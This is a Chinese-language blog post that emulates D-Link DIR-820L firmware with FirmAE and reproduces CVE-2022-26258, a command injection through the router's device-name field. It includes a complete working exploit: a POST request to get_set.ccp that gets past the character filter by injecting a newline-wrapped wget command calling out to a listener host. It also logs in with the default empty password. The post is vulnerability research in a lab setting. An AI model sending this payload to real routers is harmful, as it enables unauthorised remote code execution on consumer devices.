CVE-2022-26258

FirmAE仿真模拟 && D-link CVE复现

Posted by l0tus on 2023-04-21
Estimated Reading Time 4 Minutes
Words 984 In Total
Viewed Times

最近读的论文是关于firmware emulation和firm fuzz的,正好这几天看了关于FirmAE的文章,就试着使用FirmAE来进行一次仿真模拟。
FirmAE的原理大概是以Firmadyne工具为基础,用程序对固件进行分析,然后模拟起来它的web服务。比较舒服的地方在于它自动化程度较高,一行指令就能从固件起到web服务。至于成功率用论文的原话来说就是:“successfully ran 892 (79.36%) of 1,124 fiemware images, including web servers, which is significantly(≈4.8x) more images than that run by Firmadyne”,说是如此,但至于现实中具体的成功率嘛…不好评价。FirmAE的官方github仓库里有一张表格,记录了一些型号路由器的仿真结果:https://docs.google.com/spreadsheets/d/1dbKxr_WOZ7UmneOogug1Zykj1erpfk-GzRNni8DjroI/edit#gid=43726858,关于FirmAE的安装和使用可以参阅官方仓库:https://github.com/pr0v3rbs/FirmAE

固件模拟

网上找来D-Link820LA1型号的固件,下载地址:http://www.dlinktw.com.tw/techsupport/download.ashx?file=2663
FirmAE安装之后目录下会自带binwalk2.3.3的包,推荐使用FirmAE自带的binwalk(具体原因我暂时不清楚,有个别的型号的固件我用自己原本的binwalk后面起不来)。不过我们这次这个固件并没有加密,因此这一步其实可以跳过(。
然后可以把固件拖到FirmAE文件夹的firmwares目录下。先执行./init.sh进行初始化

初始化完了通过sudo ./run.sh -r DIR820L ./firmwares/DIR820LA1_FW105B03.bin跑模拟
第一次需要等很久(十来分钟可能)
等到出现如下回应就可以了:

然后可以在浏览器通过192.168.0.1访问到模拟器来的路由器后台

这里直接点取消,跳过引导。

CVE-2022-26258复现


首先登入界面用d-link的弱密码(空密码)直接点login登入。
然后可以先看这个CVE的description

看到洞在lan.asp
我们尝试去访问这个页面

如上图,肉眼可以猜出一些可能存在的漏洞点,ip、device name,这条CVE利用的是device name存在的注入
上burpsuite,在我们修改device name的时候抓个包

这里看到发了个POST请求,用了get_set.ccp这个程序
去固件里grep一下get_set

看到ncc2这个程序,这个应用主要进行网络等底层操作相关的操作
去ida逆一下这个二进制文件,(32位

字符串追踪DEVICE_NAME到这里
用system来执行,显然是利用这个洞来注入,但是前面有用hasInjectionString(*Obj) == 1来判断是否有注入。
再grep一下这个函数名

然后去/lib/libleopard.so看这个函数

过滤了

1
` \\ ; ' |  

这几个符号。
过滤分隔符也是RCE里常见的操作,这是可以使用%0a代替,%0a其实在某种程度上是最标准的命令链接符号
192.168.0.2:80起个监听
构造exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /get_set.ccp HTTP/1.1 
Host:192.168.0.1
Content-Length:765
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/99.0.4844.51 Safari/537.36
Content-Type:application/x-www-form-urlencoded
Origin:http://192.168.0.1
Referer:http://192.168.0.1/lan.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie:hasLogin=1
Connection: close

ccp_act=set&old_ip=192.168.0.1&old_mask=255.255.255.0&new_ip=192.168.0.1&new_mask=255.255.255.0&nextPage=lan.asp&lanHostCfg_IPAddress_1.1.1.0=192.168.0.1&lanHostCfg_SubnetMask_1.1.1.0=255.255.255.0&lanHostCfg_DomainName_1.1.1.0=&lanHostCfg_DNSRelay_1.1.1.0=1&lanHostCfg_DHCPServerEnable_1.1.1.0=1&lanHostCfg_MinAddress_1.1.1.0=192.168.0.100&lanHostCfg_MaxAddress_1.1.1.0=192.168.0.200&lanHostCfg_DHCPLeaseTime_1.1.1.0=1440&lanHostCfg_DeviceName_1.1.1.0=%0awget%20http://192.168.0.2%0a&lanHostCfg_AlwaysBroadcast_1.1.1.0=0&lanHostCfg_NetBIOSAnnouncement_1.1.1.0=0&lanHostCfg_NetBIOSLearn_1.1.1.0=0&lanHostCfg_NetBIOSScope_1.1.1.0=&lanHostCfg_NetBIOSNodeType_1.1.1.0=2&lanHostCfg_PrimaryWINSAddress_1.1.1.0=0.0.0.0&lanHostCfg_SecondaryWINSAddress_1.1.1.0=0.0.0.0&1649259644679=1649259644679

实现RCE:


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !